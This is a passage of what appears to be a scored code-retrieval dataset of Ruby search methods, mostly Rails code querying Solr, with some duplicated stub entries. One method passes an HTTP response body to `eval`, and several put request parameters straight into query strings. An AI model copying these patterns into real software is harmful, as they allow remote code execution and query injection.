"49ef23333184c57caf551cbdd161ff1a", "score": "0.66902465", "text": "def search\n end", "title": "" }, { "docid": "49ef23333184c57caf551cbdd161ff1a", "score": "0.66902465", "text": "def search\n end", "title": "" }, { "docid": "49ef23333184c57caf551cbdd161ff1a", "score": "0.66902465", "text": "def search\n end", "title": "" }, { "docid": "49ef23333184c57caf551cbdd161ff1a", "score": "0.66902465", "text": "def search\n end", "title": "" }, { "docid": "49ef23333184c57caf551cbdd161ff1a", "score": "0.66902465", "text": "def search\n end", "title": "" }, { "docid": "49ef23333184c57caf551cbdd161ff1a", "score": "0.66902465", "text": "def search\n end", "title": "" }, { "docid": "49ef23333184c57caf551cbdd161ff1a", "score": "0.66902465", "text": "def search\n end", "title": "" }, { "docid": "49ef23333184c57caf551cbdd161ff1a", "score": "0.66902465", "text": "def search\n end", "title": "" }, { "docid": "49ef23333184c57caf551cbdd161ff1a", "score": "0.66902465", "text": "def search\n end", "title": "" }, { "docid": "49ef23333184c57caf551cbdd161ff1a", "score": "0.66902465", "text": "def search\n end", "title": "" }, { "docid": "49ef23333184c57caf551cbdd161ff1a", "score": "0.66902465", "text": "def search\n end", "title": "" }, { "docid": "dfa246bd237534d14f835057a4c0e786", "score": "0.66877097", "text": "def search\n \n end", "title": "" }, { "docid": "995421bddaca674fd9a54549ad90f47a", "score": "0.66676784", "text": "def search\n @documents = api.form(\"everything\")\n .query(%([[:d = fulltext(document, \"#{params[:q]}\")]]))\n .submit(ref)\n end", "title": "" }, { "docid": "f7db14319c450c650ceb00abff37ad3b", "score": "0.66662645", "text": "def search\r\n @instance.search @query, @enterprise_filter\r\n end", "title": "" }, { "docid": "f26b3b48f0187929733c074cff08be88", "score": "0.66373533", "text": "def search\n \tend", "title": "" }, { "docid": "1b401660c377470ec721d3cd39ffc758", "score": "0.6635727", "text": "def run_fieldnote_query_through_sunspot\n\n @filter = filter_from_params\n @terms = terms_from_params\n\n @query = Fieldnote.search do |query|\n\n unless @filter.nil? or @filter.empty?\n query.fulltext @filter\n end\n\n unless @terms.nil? or @terms.empty?\n query.fulltext @terms\n end\n\n query.order_by sort_column_for_solr, sort_direction\n query.paginate :page => sort_page, :per_page => 5\n end\n\n @fieldnotes = @query.results\n end", "title": "" }, { "docid": "3cfe59ff88495be19a40a2a967416ef1", "score": "0.66333896", "text": "def do_sunspot_search\n query = search_params.to_s.strip rescue ''\n unless query.empty?\n columns = active_scaffold_config.sunspot_search.columns\n condition = sunspot_solr_condition(query)\n if @error.blank?\n self.active_scaffold_conditions = merge_conditions(self.active_scaffold_conditions, condition)\n @filtered = true\n\n includes_for_search_columns = columns.collect{ |column| column.includes}.flatten.uniq.compact\n self.active_scaffold_includes.concat includes_for_search_columns\n\n active_scaffold_config.list.user.page = nil\n else\n flash.now[:error] = @error\n end\n end\n end", "title": "" }, { "docid": "e312c77c55c8b72b0773f9eb3b349eab", "score": "0.66315544", "text": "def search\nend", "title": "" }, { "docid": "7e69521e728c669582fdd3ed13777734", "score": "0.6623345", "text": "def test_find_by_solr_splinter\n ['splinter', 'name:splinter', 'name:splinter AND author:clancy', \n 'author:clancy AND splinter'].each do |term|\n records = Book.find_id_by_solr term\n assert_equal 1, records.size\n assert_equal [1], records\n end\n end", "title": "" }, { "docid": "3ee5b722e17765ddfc159389f54e6b79", "score": "0.66170657", "text": "def test_find_by_solr_ruby_or_splinter\n ['ruby OR splinter', 'ruby OR author:tom', 'name:cell OR author:peter', 'dummy OR cell'].each do |term|\n records = Book.find_by_solr term\n assert_equal 2, records.size\n end\n end", "title": "" }, { "docid": "403b388d76574b7ca1a1d540c7fa440e", "score": "0.6588922", "text": "def search;end", "title": "" }, { "docid": "9eb87746f5cbf95ebe0f82303aa64172", "score": "0.6588264", "text": "def search_implementation(args)\n\n # 'args' should be a normalized search arguments hash including the following elements:\n # :query, :per_page, :start, :page, :search_field, :sort\n Rails.logger.debug(\"mjc12test: #{self.class.name} called. Query is #{args[:query]}}\")\n bento_results = BentoSearch::Results.new\n # solr search must be transformed to match simple search transformation.\n q = SearchController.transform_query args[:query]\n Rails.logger.debug(\"mjc12test: BentoSearch::SolrEngineSingle called. #{__FILE__} #{__LINE__} transformed q = #{q}\")\n #solr = RSolr.connect :url => 'http://da-prod-solr1.library.cornell.edu/solr/blacklight'\n Rails.logger.debug(\"mjc12test: #{self.class.name} #{__FILE__} #{__LINE__} url is #{configuration.solr_url}\")\n solr = RSolr.connect :url => configuration.solr_url\n solr_response = solr.get 'select', :params => {\n :q => q,\n #:fq => \"format:\\\"#{format}\\\"\",\n # :rows => args[:per_page],\n :rows => 20, # from sample single query; should set this dynamically?\n :group => true,\n 'group.field' => 'format_main_facet',\n 'group.limit' => 3,\n 'group.ngroups' => 'true',\n :sort => 'score desc, pub_date_sort desc, title_sort asc',\n :fl => 'id,pub_date_display,format,fulltitle_display,fulltitle_vern_display,author_display,score,pub_info_display,availability_json',\n :mm => 1\n #:defType => 'edismax'\n }\n\n Rails.logger.debug(\"mjc12test: BlacklightEngine2 search called. #{__FILE__} #{__LINE__} solr_response #{solr_response}\")\n # Because all our facets are packaged in a single query, we have to treat this as a single result\n # in order to have bento_search process it correctly. We'll split up into different facets\n # once we get back to the controller!\n result = BentoSearch::ResultItem.new\n result.custom_data = solr_response['grouped']['format_main_facet']['groups']\n bento_results << result\n bento_results.total_items = 1\n return bento_results\n\n end", "title": "" }, { "docid": "92c7b8f47b46f243ac8c49d070eca251", "score": "0.65880024", "text": "def test_find_by_solr_ruby_or_splinter\n ['ruby OR splinter', 'ruby OR author:tom', 'name:cell OR author:peter', 'dummy OR cell'].each do |term|\n records = Book.find_by_solr term\n assert_equal 2, records.total\n end\n end", "title": "" }, { "docid": "b58018833ecb10fb6be1160a86bb0765", "score": "0.6582772", "text": "def search\n if !params[:query] || params[:query].empty?\n render :template => 'connector/diagnostics/7.xml.builder', :status => 400, :locals => {:message=>\"'query'\"}\n return\n end \n parser = CqlRuby::CqlParser.new\n cql = parser.parse(params[:query])\n\n if params[:offset]\n @offset = params[:offset].to_i\n else\n @offset = 0\n end\n if params[:count]\n limit = params[:count].to_i\n else\n limit = AppConfig.connector['page_size']\n end\n\n if params[:entity] == 'items'\n sync_models\n end\n base_class = case params[:entity]\n when 'actors' then Borrower\n when 'collections' then Collection\n when 'items' then ItemHoldingCache\n when 'resources' then WorkMeta\n end\n if cql.is_a?(CqlRuby::CqlSortNode)\n sort = base_class.cql_sort(cql)\n cql = cql.subtree\n else\n sort = nil\n end\n unless (diagnostic = base_class.valid_cql_query?(cql)) === true\n render :template => \"connector/diagnostics/#{diagnostic[:number]}.xml.builder\", :status => 400, :locals => {:message=>diagnostic[:message]}\n return \n end\n \n # Turn the CQL query into something that makes sense internally (either SQL or Solr)\n cql_query = base_class.cql_tree_walker(cql) \n if params[:entity] == 'items'\n @entities = base_class.find_by_cql(cql_query, {:offset=>@offset, :limit=>limit, :sort=>sort}) \n @total = @entities.total_results\n else\n @total = base_class.count(:conditions=>cql_query) \n @entities = base_class.find(:all, :conditions=>cql_query, :offset=>@offset, :limit=>limit)\n end\n\n populate_entities if @entities.length > 0\n params[:format] = nil if params[:format]\n respond_to do | fmt |\n fmt.json {render :action=>'feed'}\n end \n \n end", "title": "" }, { "docid": "1fb6f7c3d8622daf484aca1ccc48ca42", "score": "0.6582451", "text": "def default_search(rec_id, query, position)\n match = doc_id(rec_id)\n resp = solr_resp_doc_ids_only(default_search_args(query))\n resp.should have_document(match, position)\nend", "title": "" }, { "docid": "62b5b66d94ba8ac4a32a5e662fe2bee3", "score": "0.6579668", "text": "def query(query, use_valkyrie: Hyrax.config.query_index_from_valkyrie, **args)\n Rails.logger.warn rows_warning unless args.key?(:rows)\n method = args.delete(:method) || :get\n\n result = case method\n when :get\n get(query, use_valkyrie: use_valkyrie, **args)\n when :post\n post(query, use_valkyrie: use_valkyrie, **args)\n else\n raise \"Unsupported HTTP method for querying SolrService (#{method.inspect})\"\n end\n result['response']['docs'].map do |doc|\n ::SolrHit.new(doc)\n end\n end", "title": "" }, { "docid": "5a026232353b7a47b53f42eede87d064", "score": "0.6577677", "text": "def query_via_solr # rubocop:disable all\n filter_queries = []\n orders = []\n @where_values.each do |wv|\n wv.each do |k, v|\n # If v is blank but not false, check that there is no value for the field in the document\n if v.blank? && v != false\n filter_queries << \"-#{k}:#{full_solr_range(k)}\"\n else\n filter_queries << \"#{k}:(#{solr_format(k, v)})\"\n end\n end\n end\n\n @where_not_values.each do |wnv|\n wnv.each do |k, v|\n # If v is blank but not false, check for any value in the field in the document\n if v.blank? && v != false\n filter_queries << \"#{k}:#{full_solr_range(k)}\"\n else\n filter_queries << \"-#{k}:(#{solr_format(k, v)})\"\n end\n end\n end\n\n @greater_than_values.each do |gtv|\n gtv.each do |k, v|\n filter_queries << \"#{k}:[#{solr_format(k, v)} TO *]\"\n end\n end\n\n @less_than_values.each do |ltv|\n ltv.each do |k, v|\n filter_queries << \"#{k}:[* TO #{solr_format(k, v)}]\"\n end\n end\n\n @order_values.each do |ov|\n ov.each do |k, v|\n if @reverse_order_value\n orders << \"#{k} #{v == :asc ? 'desc' : 'asc'}\"\n else\n orders << \"#{k} #{v == :asc ? 'asc' : 'desc'}\"\n end\n end\n end\n\n sort = orders.join(',')\n\n q = @fulltext_values.empty? ? '*:*' : @fulltext_values.map { |ftv| '(' + ftv[:query] + ')' }.join(' AND ')\n\n params = { q: q, commit: true }\n params[:sort] = sort\n params[:fq] = filter_queries unless filter_queries.empty?\n if @query_parser_value\n params['defType'] = @query_parser_value.keys.first\n params.merge(@query_parser_value.values.first)\n end\n\n # Facets\n # facet=true to enable faceting, facet.field=<field_name> (can appear more than once for multiple fields)\n # Additional options: f.<field_name>.facet.<option> [e.g. f.author.facet.sort=index]\n\n # Facet Fields\n unless field_facet_values.empty?\n params['facet'] = 'true'\n params['facet.threads'] = facet_threads_value if facet_threads_value.present?\n\n facet_fields = []\n field_facet_values.each do |facet|\n facet_field = facet[:field]\n facet_fields << facet_field\n facet[:options].each do |key, value|\n params[\"f.#{facet_field}.facet.#{key}\"] = value.to_s\n end\n end\n params['facet.field'] = facet_fields\n end\n\n # Facet Ranges\n unless range_facet_values.empty?\n params['facet'] = 'true'\n facet_fields = []\n range_facet_values.each do |facet|\n facet_field = facet[:field]\n facet_fields << facet_field\n facet[:options].each do |key, value|\n params[\"f.#{facet_field}.facet.range.#{key}\"] = value.to_s\n end\n end\n params['facet.range'] = facet_fields\n end\n\n if @highlight_options[:fields].present?\n params[:hl] = true\n params['hl.fl'] = @highlight_options[:fields]\n params['hl.snippets'] = @highlight_options[:snippets] if @highlight_options[:snippets]\n params['hl.fragsize'] = @highlight_options[:fragsize] if @highlight_options[:fragsize]\n params['hl.requireFieldMatch'] =\n @highlight_options[:require_field_match] if @highlight_options[:require_field_match].present?\n if @highlight_options[:use_fast_vector]\n params['hl.useFastVectorHighlighter'] = true\n params['hl.tag.pre'] = @highlight_options[:pre_tag] if @highlight_options[:pre_tag].present?\n params['hl.tag.post'] = @highlight_options[:post_tag] if @highlight_options[:post_tag].present?\n else\n params['hl.mergeContiguous'] = @highlight_options[:merge_contiguous].present?\n params['hl.simple.pre'] = @highlight_options[:pre_tag] if @highlight_options[:pre_tag].present?\n params['hl.simple.post'] = @highlight_options[:post_tag] if @highlight_options[:post_tag].present?\n params['hl.maxAnalyzedChars'] =\n @highlight_options[:max_analyzed_chars] if @highlight_options[:max_analyzed_chars].present?\n end\n end\n\n select_columns =\n select_values.empty? ? (@klass.attribute_definitions.keys - @klass.lazy_attributes) : select_values.flatten\n select_columns << @klass.primary_key\n select_columns.map! { |c| @klass.column_for_attribute(c).try(:type) == :map ? \"#{c}*\" : c.to_s }\n params[:fl] = select_columns.uniq.join(',')\n unless @stats_values.empty?\n params[:stats] = 'true'\n @stats_values.flatten.each do |sv|\n params['stats.field'] = sv\n end\n params['stats.facet'] = @group_value\n end\n solr_response = nil\n\n if @group_value\n results = DatastaxRails::GroupedCollection.new\n params[:group] = 'true'\n params[:rows] = 10_000\n params['group.field'] = @group_value\n params['group.limit'] = @per_page_value\n params['group.offset'] = (@page_value - 1) * @per_page_value\n params['group.ngroups'] = 'false' # must be false due to issues with solr sharding\n ActiveSupport::Notifications.instrument(\n 'solr.datastax_rails',\n name: 'Search',\n klass: @klass.name,\n search: params) do\n solr_response = rsolr.post('select', data: params)\n response = solr_response['grouped'][@group_value.to_s]\n results.total_groups = response['groups'].size\n results.total_for_all = response['matches'].to_i\n results.total_entries = 0\n response['groups'].each do |group|\n results[group['groupValue']] = parse_docs(group['doclist'], select_columns)\n if results[group['groupValue']].total_entries > results.total_entries\n results.total_entries = results[group['groupValue']].total_entries\n end\n end\n end\n else\n ActiveSupport::Notifications.instrument(\n 'solr.datastax_rails',\n name: 'Search',\n klass: @klass.name,\n search: params.merge(page: @page_value, per_page: @per_page_value)) do\n solr_response = rsolr.paginate(@page_value, @per_page_value, 'select', data: params, method: :post)\n response = solr_response['response']\n results = parse_docs(response, select_columns)\n results.highlights = solr_response['highlighting']\n end\n end\n if solr_response['stats']\n @stats = solr_response['stats']['stats_fields'].with_indifferent_access\n end\n # Apply Facets if they exist\n if solr_response['facet_counts']\n results.facets = {}\n results.facets = results.facets.merge(solr_response['facet_counts']['facet_fields'].to_h)\n results.facets = results.facets.merge(solr_response['facet_counts']['facet_ranges'].to_h)\n end\n results\n end", "title": "" }, { "docid": "561c9b50ee7aaba624bd7edd804e2b6c", "score": "0.6577377", "text": "def search(query, options = {})\n sphinx = Sphinx::Client.new\n\n @host ||= Sphincter::Configure.get_conf['sphincter']['host']\n @port ||= Sphincter::Configure.get_conf['sphincter']['port']\n\n sphinx.SetServer @host, @port\n\n options[:conditions] ||= {}\n options[:conditions].each do |column, values|\n values = sphincter_convert_values Array(values)\n sphinx.SetFilter column.to_s, values\n end\n\n options[:between] ||= {}\n options[:between].each do |column, between|\n min, max = sphincter_convert_values between\n\n sphinx.SetFilterRange column.to_s, min, max\n end\n\n @default_per_page ||= Sphincter::Configure.get_conf['sphincter']['per_page']\n\n per_page = options[:per_page] || @default_per_page\n page_offset = options.key?(:page) ? options[:page] - 1 : 0\n offset = page_offset * per_page\n\n sphinx.SetLimits offset, per_page\n\n index_name = options[:index] || table_name\n\n sphinx_result = sphinx.Query query, index_name\n\n matches = sphinx_result['matches'].sort_by do |id, match|\n -match['index'] # #find reverses, lame!\n end\n\n ids = matches.map do |id, match|\n (id - match['attrs']['sphincter_index_id']) /\n Sphincter::Configure.index_count\n end\n\n results = Results.new\n\n results.records = find ids\n results.total = sphinx_result['total_found']\n results.per_page = per_page\n\n results\n end", "title": "" }, { "docid": "1c4b40ca35b70ff372eac2ccbbd5f3a3", "score": "0.65723866", "text": "def my_additional_search_criteria(solr_parameters)\n solr_parameters[:fq] ||= []\n solr_parameters[:fq] += [\"my_field_sim:Term\"]\n end", "title": "" }, { "docid": "8c042aef9b4cf004529d50131ef2213e", "score": "0.65642744", "text": "def test_multi_solr_search_return_objects\n records = Book.multi_solr_search \"Napoleon OR Tom\", :models => [Movie], :results_format => :objects\n assert_equal 2, records.total\n assert_equal Movie, records.docs.first.class\n assert_equal Book, records.docs.last.class\n end", "title": "" }, { "docid": "1bcde32ef30182dcd8b35bd1cfec1874", "score": "0.6551076", "text": "def search\n\t\t#sleep(10)\n\t\tputs \"params are:\"\n\t\tputs params.to_s\n\t\tputs \"permitted params are:\"\n\t\tputs permitted_params\n\t\tcontext = permitted_params[:context]\n\t\t## this is the whole text.\n\t\tquery = permitted_params[:query]\n\t\tinformation = permitted_params[:information]\n\t\t## suggest query is the last word of the query.\n\t\t## so it is possible, that we want the whole query also to be sent.\n\t\tsuggest_query = permitted_params[:suggest_query]\n\t\tlast_successfull_query = permitted_params[:last_successfull_query]\n\t\tresults = nil\n\n\t\tdirection = permitted_params[:direction]\n\n\t\tif information \n\t\t\tresults = Result.information({:information => information})\n\t\telse\n\t\t\t# so the prefix is either the suggest_query, or the whole_Query.\n\t\t\tresults = Result.debug_suggest_r({:prefix => (suggest_query || query), :whole_query => query, :context => context, :last_successfull_query => last_successfull_query, :basic_query => params[:basic_query], :direction => direction})\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tformat.json do \n\t\t\t\t#puts \"came to render json\"\n\t\t\t\trender :json => {results: results, status: 200}\n\t\t\tend\n\t\tend\t\n\tend", "title": "" }, { "docid": "17891dac1a8bc9e96eabf8cbae413df7", "score": "0.65462065", "text": "def search(query, sub_authority=nil)\n end", "title": "" }, { "docid": "3a2ca257150f93cd839ec347fac700c5", "score": "0.65420365", "text": "def solr_query_for(field, filter)\n query = filter ? \"#{field}:*#{filter}*\" : '*:*'\n\n RLetters::Solr::Connection.search(q: query, def_type: 'lucene', rows: 1)\n end", "title": "" }, { "docid": "a7403afe3dd3a09d0ce2296dcdd54aaf", "score": "0.6541867", "text": "def search\n @documents = api.form(\"everything\")\n .query(%([[:d = fulltext(document, \"#{params[:q]}\")]]))\n .page(params[:page] ? params[:page] : \"1\")\n .page_size(params[:page_size] ? params[:page_size] : \"20\")\n .submit(ref)\n end", "title": "" }, { "docid": "a69d8e30cc270f6ba2a4ac5d07668053", "score": "0.65415466", "text": "def test_multi_solr_search_return_objects\n records = Book.multi_solr_search \"Napoleon OR Tom\", :models => [Movie], :results_format => :objects\n assert_equal 2, records.size\n assert_equal Movie, records.first.class\n assert_equal Book, records.last.class\n end", "title": "" }, { "docid": "9b78326e2dd555c6682ba93a4a6df91c", "score": "0.6540129", "text": "def query(params)\n params = map_params(modify_params_for_pagination(params))\n response = @adapter.query(params)\n params[:wt]==:ruby ? Solr::Response::Query::Base.new(response) : response\n end", "title": "" }, { "docid": "8f143171c63d03c20cea737b72e72b74", "score": "0.65346694", "text": "def solr_data_by_type(searchterm, start, rows, sort, username, fq)\n\n puts \"---------TYPE INFORMATION GOES HERE-----------#{type}----\"\n url = URI.parse(APP_CONFIG[:solr_server])\n connection = Net::HTTP.new(url.host, url.port)\n follower = Follower.followings(username,1) << username\n followerstr = follower.join(\" \")\n\n followers_boost = follower.collect { |f|\n \"(id:person-#{f})^20\"\n }\n\n #usertags = Usertags.top_tags(username)\n usertags = []\n\n followers_boost = followers_boost + usertags.collect do |t|\n t[0] = t[0].gsub(\"&\", \"\")\n \"(tags:#{t[0]})^#{t[1]}\"\n end\n\n usertags_params = ''\n\n strsort = ''\n if(sort == 'ctd')\n strsort = 'createdtime desc'\n elsif(sort == 'cta')\n strsort = 'createdtime asc'\n elsif(sort == 'cba')\n strsort = 'createdby asc'\n end\n\n if true\n #always include external links description for now\n queryterm = searchterm\n qfstr = \"id^10 maintext^10 linkdesc^1.0 attachmentcontent^1.0 tags^7.5 description^5.0\"\n else\n queryterm = searchterm\n qfstr = \"id^10 maintext^10 linkdesc^1.0 attachmentcontent^1.0 tags^7.5 description^5.0\"\n end\n\n parenturl = ''\n if parent_url.present?\n parenturl = \"url:#{parent_url}/*\"\n end\n\n logger.info 'query term...........' + queryterm.inspect\n row_str = rows.present? ? \"&rows=\"+rows.to_s : '&rows=10000'\n begin\n addtype = removetype = createdByType = additionalInCondition = \"\"\n\n if (show_all == \"false\" && (type == 'file' || fq == 'file'))\n #user_file_permission = ChangePermission.get_search_file_permissions(username,Community::TYPES_ARRAY[0..4],true)\n #additionalInCondition = user_file_permission.present? ? \" AND pg_id:(#{user_file_permission.join(' ')})\" : ''\n end\n\n if fq.present?\n fq = URI.unescape(fq)\n #requrl = URI.unescape(requrl.sub(/q=([^&]*)&/, \"\"))\n requrl = URI.unescape(requrl.sub(\"&q=#{searchterm}\", \"\"))\n\n puts \"--ALL THE REFINE SEARCH PARAMETER GOES HERE---#{requrl.inspect}\"\n\n strsort = 'createdtime desc' if fq == 'type:training' && sort == ''\n\n #additionalCondition = (fq == \"others\") ? \" OR (type:(file person training)) \" : \"\"\n #addtype = (fq.present? && fq.to_s != \"others\") ? \"type:#{fq}\" : \"\"\n #fqaddition = (fq.present? && fq.to_s != \"others\") ? \"&fq=\" + fq : \"&fq=\"\n\n #minusresults = \"#{addtype} -((type:(buzz event question_answer meeting) AND -createdby:(\" + followerstr.to_s + \")) #{additionalCondition} OR (type:file AND (location:workflow OR location:expired OR location:publish_deleted)) OR (type:folder AND location:publish_deleted))\"\n #strparams = URI.escape(\"defType=dismax&qf=\" + qfstr + \"&bq=\" + followers_boost.join(',') + \"&omitHeader=true&version=2.2&start=\"+start.to_s+row_str+\"&wt=ruby&indent=on&sort=\"+strsort+\"&q=\" + queryterm + fqaddition + \" \" + minusresults + parenturl).gsub(\"__x__\", \"%2B\")\n\n # find conditional search\n\n if type.present?\n if type == \"others\"\n additionalCondition = \" OR (type:(file person training)) \"\n else\n addtype = \"(type:#{type}#{additionalInCondition})\"\n end\n end\n \n if(parenturl.present?)\n addtype = addtype.present? ? (\"#{addtype} AND #{parenturl}\") : parenturl\n end\n \n minusresults = \"#{addtype} -((type:(buzz event question_answer meeting) AND -createdby:(\" + followerstr.to_s + \")) #{additionalCondition} OR (type:file AND (location:workflow OR location:expired OR location:publish_deleted)) OR (type:folder AND location:publish_deleted))\"\n\n strparams = URI.escape(\"defType=dismax&qf=\" + qfstr + \"&bq=\" + followers_boost.join(',') + \"&omitHeader=true&version=2.2&start=\"+start.to_s+row_str+\"&wt=ruby&indent=on&sort=\"+strsort+\"&q=\" + queryterm + \"&\" + requrl + \"&fq=\"+ minusresults).gsub(\"__x__\", \"%2B\")\n\n \n\n logger.info \"path1......#{addtype.inspect}.....\" + url.path + \"/select?\" + strparams\n\n result = connection.post(url.path + \"/select\", strparams)\n else\n puts \"---------TYPE INFORMATION GOES HERE 2-----------#{type}----\"\n if type.present?\n if type == \"others\"\n additionalCondition = \" OR (type:(file person training)) \"\n else\n addtype = \"type:#{type}#{additionalInCondition}\"\n end\n end\n \n if(parenturl.present?)\n addtype = addtype.present? ? (\"#{addtype} AND #{parenturl}\") : parenturl\n end\n \n minusresults = \"#{addtype} -((type:(buzz event question_answer meeting) AND -createdby:(\" + followerstr.to_s + \")) #{additionalCondition} OR (type:file AND (location:workflow OR location:expired OR location:publish_deleted)) OR (type:folder AND location:publish_deleted))\"\n strparams = URI.escape(\"defType=dismax&qf=\" + qfstr + \"&bq=\" + followers_boost.join(',') + \"&omitHeader=true&version=2.2&start=\"+start.to_s+row_str+\"&wt=ruby&indent=on&sort=\"+strsort+\"&q=\" + queryterm + \"&fq=\" + minusresults).gsub(\"__x__\", \"%2B\")\n result = connection.post(url.path + \"/select\", strparams)\n end\n solr_url = \"#{url.path}/select?#{strparams}\"\n p solr_url.inspect\n unless result.code.to_s == '200'\n SolrException.create(:solr_url => solr_url, :status_code => result.code.to_s, :solr_exception => result.body.to_s)\n end\n data = eval(result.body)\n raise \"Bad Request\" if result.class.to_s == \"Net::HTTPBadRequest\"\n rescue => e\n data = Hash.new\n end\n return data\n end", "title": "" }, { "docid": "ca9ddb55c9d05b23430de0f6c8355353", "score": "0.65342295", "text": "def submit_to_solr\n solr_indexer = Stash::Indexer::SolrIndexer.new(solr_url: Blacklight.connection_config[:url])\n ir = Stash::Indexer::IndexingResource.new(resource: self)\n result = solr_indexer.index_document(solr_hash: ir.to_index_document) # returns true/false for success of operation\n update(solr_indexed: true) if result\n end", "title": "" }, { "docid": "b1541842c170b5e8b53a8a1dbf596adb", "score": "0.6526707", "text": "def resources_search\n @search_words = params[:search] \n\n ## Search blog posts with keywords\n @post_search = Sunspot.search(BlogPost) do\n keywords params[:search]\n end\n\n ## Search blog post tags with keywords\n @tag_search = Sunspot.search(BlogTag) do\n with :tag, params[:search].gsub(/[^0-9A-Za-z]/, \"\").split(\" \")\n end\n\n ## Combine posts & tags searches, without duplicates (UNION)\n @search_results = @post_search.results | @tag_search.results.map{|tag| tag.blog_post}\n @search_results = @results.sort_by{|e| e[:published_at]}.reverse\n end", "title": "" }, { "docid": "660971dad7323305763230f78e487686", "score": "0.6525506", "text": "def suggest_results\n # repository.connection.send_and_receive(suggest_handler_path, params: request_params)\n blacklight_solr.send_and_receive(suggest_handler_path, params: request_params)\n end", "title": "" }, { "docid": "fc1653575a00ecd9590fae5da3248baf", "score": "0.65241015", "text": "def to_solr(body)\n config[:to_solr].call(body)\n end", "title": "" }, { "docid": "c427b077ff4f6a99c6119d55f83e0550", "score": "0.6506167", "text": "def search \n\n @resultlist = [] # for storing results from bibliosearch\n\n if params[:query] \n\n # Look up bibliographic metadata via CrossRef service\n \n puts \"Sending query '#{params[:query]}' to SIGG \" + SIGG_URL\n response = RestClient.get SIGG_URL, {:accept => :json,\n :params => {:version => 1,\n :access => \"gthorisson%40gmail.com\",\n :format => \"json\",\n :op => \"AND\",\n :expression => params[:query]}}\n \n render :text => response.to_str\n end\n end", "title": "" }, { "docid": "740100196b3c87effc34cdd84c8d0c2b", "score": "0.64981335", "text": "def search_works\n if session[:work_search_details] != nil\n @search_details = session[:work_search_details]\n else\n @search_details = WorkAdvancedSearchDetails.new\n end\n \n \n @page = (!params[:page].blank?) ? (params[:page].to_i > 0 ? params[:page].to_i : 1) : 1;\n \n \n \n #make a pass through our cached search details to ensure we arent doing a new search\n newSearch=false\n sdp = params[:search_details]\n \n if !sdp.blank?\n sdp.keys.map{ |k| \n if @search_details.send(k) != sdp[k]\n newSearch=true\n \n end\n }\n else\n newSearch=true\n end\n \n if newSearch\n logger.debug \"SEARCH WORKS: NEW SEARCH!\"\n session[:work_advanced_search_results]=[]\n if !sdp.blank?\n sdp.keys.map{|k| @search_details.send(k+'=', sdp[k])}\n end\n logger.debug @search_details.to_yaml\n session[:work_search_details]=@search_details\n end\n \n\tsolrResults=[]\n @results=[]\n \n @lucene_query = AdvancedFinderHelper.build_advanced_work_query(@search_details)\n logger.debug \"SEARCH WORKS: LUCENE QUERY: #{@lucene_query}\"\n\t \n\t# add additional search params if present\n\toptions = {:q => []}\n\tif @search_details.has_sample_recording.to_s=='yes'\n\t options[:q] << 'AND (available_as_samples_for_solr_t:(audio OR video))'\n elsif @search_details.has_sample_recording.to_s=='no'\n options[:q] << 'NOT (available_as_samples_for_solr_t:(audio OR video))'\n end\n\t \n\tif @search_details.has_sample_score.to_s=='yes'\n\t options[:q] << 'AND (available_as_samples_for_solr_t:(scores))'\n\telsif @search_details.has_sample_score.to_s=='no'\n\t options[:q] << 'NOT (available_as_samples_for_solr_t:(scores))'\n\tend\n\t \n\t@results = FinderHelper.execute_advanced_solr_query(@lucene_query, options)[:docs]\n \n\tlogger.debug(@results.to_yaml)\n # solrResults= @results[0][:docs]\n \n if @results != nil\n solrResults= @results\n end\n logger.debug \"SEARCH WORKS: RESULTS:#{@results.to_yaml}\"\n \n sqlResults=[]\n relationshipResults=[]\n \n #now filter our results \n #if we have SQL filters defined, then run our result list through the filter\n \n #do we need to run SQL filters?\n sqlSearch=false\n if @search_details.has_score.blank? and @search_details.has_recording.blank? and @search_details.has_not_applicable.blank? and @search_details.programme_note_exists.blank?\n #do nothing, we don't need to search via SQL\n else\n sqlSearch=true \n sqlResults=AdvancedFinderHelper.findWorksBySQL(@search_details)\n end\n \n if solrResults.length > 0 and sqlSearch\n logger.debug(\"SEARCH WORKS: RUNNING SQL SEARCH\")\n @filteredResults = solrResults & sqlResults\n elsif solrResults.length > 0 and ! sqlSearch\n logger.debug(\"SEARCH WORKS: ONLY SOLR RESULTS\")\n @filteredResults = solrResults\n else\n if !@search_details.contains_solr_query_data?\n logger.debug(\"SEARCH WORKS: ONLY SQL RESULTS\")\n @filteredResults = sqlResults\n else\n @filteredResults = []\n end\n end\n \n relationshipResults=[]\n relationshipResults1=[]\n relationshipResults2=[]\n \n if @search_details.relationship1_type.blank? or @search_details.relationship1_filter.blank?\n #do nothing\n else\n logger.debug \"SEARCH WORKS: FINDING FIRST RELATIONSHIP QUERY!\"\n relationshipResults1 = AdvancedFinderHelper.findWorksByRelationships(@search_details.relationship1_type,@search_details.relationship1_filter,@search_details.relationship1_text)\n end\n \n if @search_details.relationship2_type.blank? or @search_details.relationship2_filter.blank?\n #do nothing\n else\n logger.debug \"SEARCH WORKS: FINDING SECOND RELATIONSHIP QUERY!\"\n relationshipResults2 = AdvancedFinderHelper.findWorksByRelationships(@search_details.relationship2_type,@search_details.relationship2_filter,@search_details.relationship2_text)\n end\n \n # filter the relationship results if needed \n if relationshipResults1.length > 0 && relationshipResults2.length == 0\n relationshipResults = relationshipResults1\n elsif relationshipResults1.length == 0 && relationshipResults2.length > 0\n relationshipResults = relationshipResults2\n elsif relationshipResults1.length > 0 && relationshipResults2.length > 0\n relationshipResults = relationshipResults1 & relationshipResults2\n else\n relationshipResults = []\n end\n \n if relationshipResults.length >0 and @filteredResults.length > 0\n @filteredResults = @filteredResults & relationshipResults \n elsif relationshipResults.length >0 and @filteredResults.length == 0\n @filteredResults=relationshipResults\n end\n \n logger.debug \"SEARCH WORKS: CORE RESULTS count #{solrResults.length}\"\n logger.debug solrResults\n logger.debug \"SEARCH WORKS: END CORE RESULTS\"\n \n logger.debug \"SEARCH WORKS: SQL RESULTS count #{sqlResults.length}\"\n logger.debug sqlResults\n logger.debug \"SEARCH WORKS: END SQL RESULTS\"\n\n logger.debug \"SEARCH WORKS: RELATIONSHIP RESULTS count #{relationshipResults.length}\"\n logger.debug relationshipResults\n logger.debug \"SEARCH WORKS: END RELATIONSHIP RESULTS\"\n\n logger.debug \"SEARCH WORKS: INTERSECTION RESULTS count #{@filteredResults.length}\"\n logger.debug @filteredResults\n logger.debug \"SEARCH WORKS: END INTERSECTION RESULTS\"\n \n session[:work_advanced_search_results]=@filteredResults\n \n \n \n logger.debug \"Pre paging, results are #{@filteredResults}\"\n logger.debug \"****RES IN SESSION:#{session[:work_advanced_search_results]}\"\n @results = 